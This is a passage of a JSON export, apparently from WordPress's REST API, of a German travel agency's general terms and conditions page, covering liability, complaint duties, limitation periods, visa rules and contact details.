dass dieser f\u00fcr Unf\u00e4lle und Folgesch\u00e4den alleine verantwortlich ist.<\/p>\n<p class=\"ecxMsoNormal\">11.4. Ein Schadensersatzanspruch gegen Indian Travels \u00a0ist insoweit beschr\u00e4nkt oder ausgeschlossen, als aufgrund internationaler \u00dcbereinkommen oder auf solchen beruhenden gesetzlichen Vorschriften, die auf die von einem Leistungstr\u00e4ger zu erbringenden Leistungen anzuwenden sind, ein Anspruch auf Schadenersatz gegen den Leistungstr\u00e4ger nur unter bestimmten Voraussetzungen oder Beschr\u00e4nkungen geltend gemacht werden kann oder unter bestimmten Voraussetzungen ausgeschlossen ist.<\/p>\n<p class=\"ecxMsoNormal\">11.5. Kommt dem Reiseveranstalter die Stellung eines vertraglichen Luftfrachtf\u00fchrers zu, so regelt sich die Haftung nach den Bestimmungen des Luftverkehr Gesetzes in Verbindung mit den internationalen Abkommen von Warschau, Den Haag, Guadalajara und der Montrealer Vereinbarung. Diese Abkommen beschr\u00e4nken in der Regel die Haftung des Luftfrachtf\u00fchrers f\u00fcr Tod und K\u00f6rperverletzung sowie f\u00fcr Verlust und Besch\u00e4digung von Gep\u00e4ck. Sofern der Reiseveranstalter in anderen F\u00e4llen Leistungstr\u00e4ger ist, haftet er nach den f\u00fcr diese geltenden Bestimmungen.<\/p>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>12. Mitwirkungspflicht des Kunden<\/b><\/p>\n<p class=\"ecxMsoNormal\">Der Kunde ist verpflichtet bei Leistungsst\u00f6rungen im Rahmen der gesetzlichen Bestimmungen mitzuwirken, eventuelle Sch\u00e4den zu vermeiden oder gering zu halten. Er ist insbesondere verpflichtet, seine Beanstandungen unverz\u00fcglich der \u00f6rtlichen Reiseleitung oder Agentur zur Kenntnis zu geben. Diese ist beauftragt, f\u00fcr Abhilfe zu sorgen, sofern dies m\u00f6glich ist. Unterl\u00e4sst es der Kunde schuldhaft, einen Mangel anzuzeigen, tritt ein Anspruch auf Minderung nicht ein. Sofern eine Abhilfe bei dem Leistungstr\u00e4ger vor Ort nicht m\u00f6glich ist, m\u00fcssen die Beanstandungen sofort Indian Travels\u00a0 mitgeleitet werden. Kommt der Kunde dieser Verpflichtung nicht nach, stehen ihm keine Anspr\u00fcche zu. Sollte vor Ort Abhilfe nicht geschaffen worden sein, hat sich der Kunde um die schriftliche Best\u00e4tigung des Leistungstr\u00e4gers mit einzeln aufgef\u00fchrten M\u00e4ngeln zu bem\u00fchen und nach der R\u00fcckkehr bei Indian\u00a0 Travels\u00a0 vorzulegen.<\/p>\n<p class=\"ecxMsoNormal\"><b>13.\u00a0\u00a0 Ausschluss von Anspr\u00fcchen und Verj\u00e4hrung<\/b><\/p>\n<p class=\"ecxMsoNormal\">Anspr\u00fcche wegen nicht vertragsgem\u00e4\u00dfer Erbringung der Reise hat der Kunde innerhalb eines Monats nach vertraglich vorgesehener Beendigung der Reise gegen\u00fcber Indian Travels \u00a0schriftlich geltend zu machen. Anspr\u00fcche des Kunden verj\u00e4hren in 12 Monaten. Die Verj\u00e4hrung beginnt mit dem Tag, an dem die Reise dem Vertrag nach enden sollte. Schweben zwischen dem Reisenden und Indian Travels Verhandlungen \u00fcber den Anspruch begr\u00fcndenden Umst\u00e4nde, so ist die Verj\u00e4hrung gehemmt, bis der Kunde oder Indian Travels \u00a0die Fortsetzung der Verhandlungen verweigert. Die Verj\u00e4hrung tritt fr\u00fchestens 3 Monate nach dem Ende der Hemmung ein.<\/p>\n<p>[\/vc_column_text][vc_empty_space][vc_column_text]<\/p>\n<p class=\"ecxMsoNormal\"><b>14. Pass-, Visa-, Gesundheitsvorschriften<\/b><\/p>\n<p class=\"ecxMsoNormal\">Indian Travels \u00a0steht daf\u00fcr ein, Staatsangeh\u00f6rige des Staates, in dem die Reise angeboten wird, \u00fcber Bestimmungen von Pass-, Visa-, Gesundheitsvorschriften sowie deren eventuelle \u00c4nderungen vor Reiseantritt zu unterrichten.<br \/>\nF\u00fcr Angeh\u00f6rige anderer Statten gibt das zust\u00e4ndige Konsulat Auskunft. Indian Travels \u00a0haftet nicht f\u00fcr die rechtzeitige Erteilung und Zugang notwendiger Visa\u00a0 durch die jeweilige diplomatische Vertretung, wenn der Kunde Indian Travels \u00a0mit der Besorgung beauftragt hat, es sei denn, dass Indian Travels \u00a0die Verz\u00f6gerung zu vertreten hat. Der Kunde ist f\u00fcr die Einhaltung der f\u00fcr die Durchf\u00fchrung der Reise wichtigen Vorschriften selbst verantwortlich. Alle Nachteile, besonders die Zahlung von R\u00fccktrittskosten, die aus der Nichtbefolgung der Vorschriften entstehen, gehen zu Lasten des Kunden, au\u00dfer wenn sie durch schuldhafte Falschinformation von Indian Travels \u00a0bedingt sind.<\/p>\n<p class=\"ecxMsoNormal\"><b>15. Sonstiges<\/b><\/p>\n<p>A)<\/p>\n<div class=\"rps_19d7\">\n<div lang=\"DE\">\n<div class=\"x_WordSection1\">\n<p class=\"x_MsoNormal\">Aus rechtlicher Sicht m\u00f6chten wir noch darauf hinweisen, dass wir als Reiseagentur Flugvermittler und KEIN Flugveranstalter sind. Wir m\u00fcssen die aktuell geltenden Bestimmungen und Regelungen der Airlines befolgen. Flugtickets vermitteln wir lediglich zu den Konditionen der Fluggesellschaft.<\/p>\n<p>Bei Buchung zus\u00e4tzlicher Reiseleistungen (Flug) zusammen mit Ihrer Pauschalreise werden diese Reiseleistungen Teil verbundener Reiseleitungen.<\/p>\n<p>Daher ist die Indian Travels \u00a0nicht f\u00fcr die ordnungsgem\u00e4\u00dfe Erbringung solcher zus\u00e4tzlichen Reiseleistungen verantwortlich. Bei Problemen wenden Sie sich bitte an den jeweiligen Leistungserbringer.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p class=\"ecxMsoNormal\">B)<\/p>\n<p class=\"ecxMsoNormal\">Die Unwirksamkeit einzelner Bestimmungen des Reisevertrages hat nicht die Unwirksamkeit des gesamten Vertrages zur Folge. Telfon-, Telex- oder Telefaxkosten m\u00fcssen bei kurzfristigen Buchungen besonders berechnet und dem Reisepreis zugeschlagen werden. Als Gerichtsstand wird Bochum vereinbart.<\/p>\n<p>Bei Buchung zus\u00e4tzlicher Reiseleistungen (Flug) zusammen mit Ihrer Pauschalreise werden diese Reiseleistungen Teil verbundener Reiseleitun<\/p>\n<p class=\"ecxMsoNormal\">Die Reisebedingungen entsprechen dem Stand vom 1.10.2004 und gelten f\u00fcr alle Reisen mit \u00a0Indian Travels\u00a0 , Grummer str .2b, 44809 Bochum . Inhaber. Anicekutty Abraham Nedumthuruthymialil.<\/p>\n<p class=\"ecxMsoNormal\"><b>\u00d6ffnungszeiten:<\/b><br \/>\nMo-Fr: 10.00 – 18.00 Uhr<\/p>\n<p class=\"ecxMsoNormal\"><b>Kontaktinfo: <\/b><br \/>\nIndian Travels<\/p>\n<p class=\"ecxMsoNormal\">Grummer str.2b<\/p>\n<p class=\"ecxMsoNormal\">44809 Bochum<\/p>\n<p class=\"ecxMsoNormal\"><b>Tel<\/b>: +49 2345409000<br \/>\n<b>Mob<\/b>:\u00a001722837774<\/p>\n<p><b>Emai : <a href=\"mailto:-info@indiantravels.de\">info@indiantravels.de<\/a><\/b>[\/vc_column_text][vc_empty_space][\/vc_column][vc_column width=”1\/3″][vc_column_text]<\/p>\n<h3>Quick Kontakt<\/h3>\n<p>[\/vc_column_text][vc_empty_space][contact-form-7 id=”445″ html_class=”default”][\/vc_column][\/vc_row]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[vc_row css_animation=”” row_type=”row” use_row_as_full_screen_section=”no” type=”full_width” angled_section=”no” text_align=”left” background_image_as_pattern=”without_pattern”][vc_column][vc_empty_space][vc_column_text] AGB [\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=”” row_type=”row” use_row_as_full_screen_section=”no” type=”full_width” angled_section=”no” text_align=”left” background_image_as_pattern=”without_pattern”][vc_column width=”2\/3″][vc_column_text] Allgemeine Gesch\u00e4ftsbedingungen 1. Abschluss des Reisevertrages Mit der Reiseanmeldung bietet der Kunde\u00a0Indian Travels\u00a0den Abschluss eines Reisevertrages verbindlich an. Die Anmeldung kann schriftlich, m\u00fcndlich oder telefonisch erfolgen. Sie…<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/indiantravels.de\/wp-json\/wp\/v2\/pages\/839"}],"collection":[{"href":"https:\/\/indiantravels.de\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/indiantravels.de\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/indiantravels.de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/indiantravels.de\/wp-json\/wp\/v2\/comments?post=839"}],"version-history":[{"count":5,"href":"https:\/\/indiantravels.de\/wp-json\/wp\/v2\/pages\/839\/revisions"}],"predecessor-version":[{"id":972,"href":"https:\/\/indiantravels.de\/wp-json\/wp\/v2\/pages\/839\/revisions\/972"}],"wp:attachment":[{"href":"https:\/\/indiantravels.de\/wp-json\/wp\/v2\/media?parent=839"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}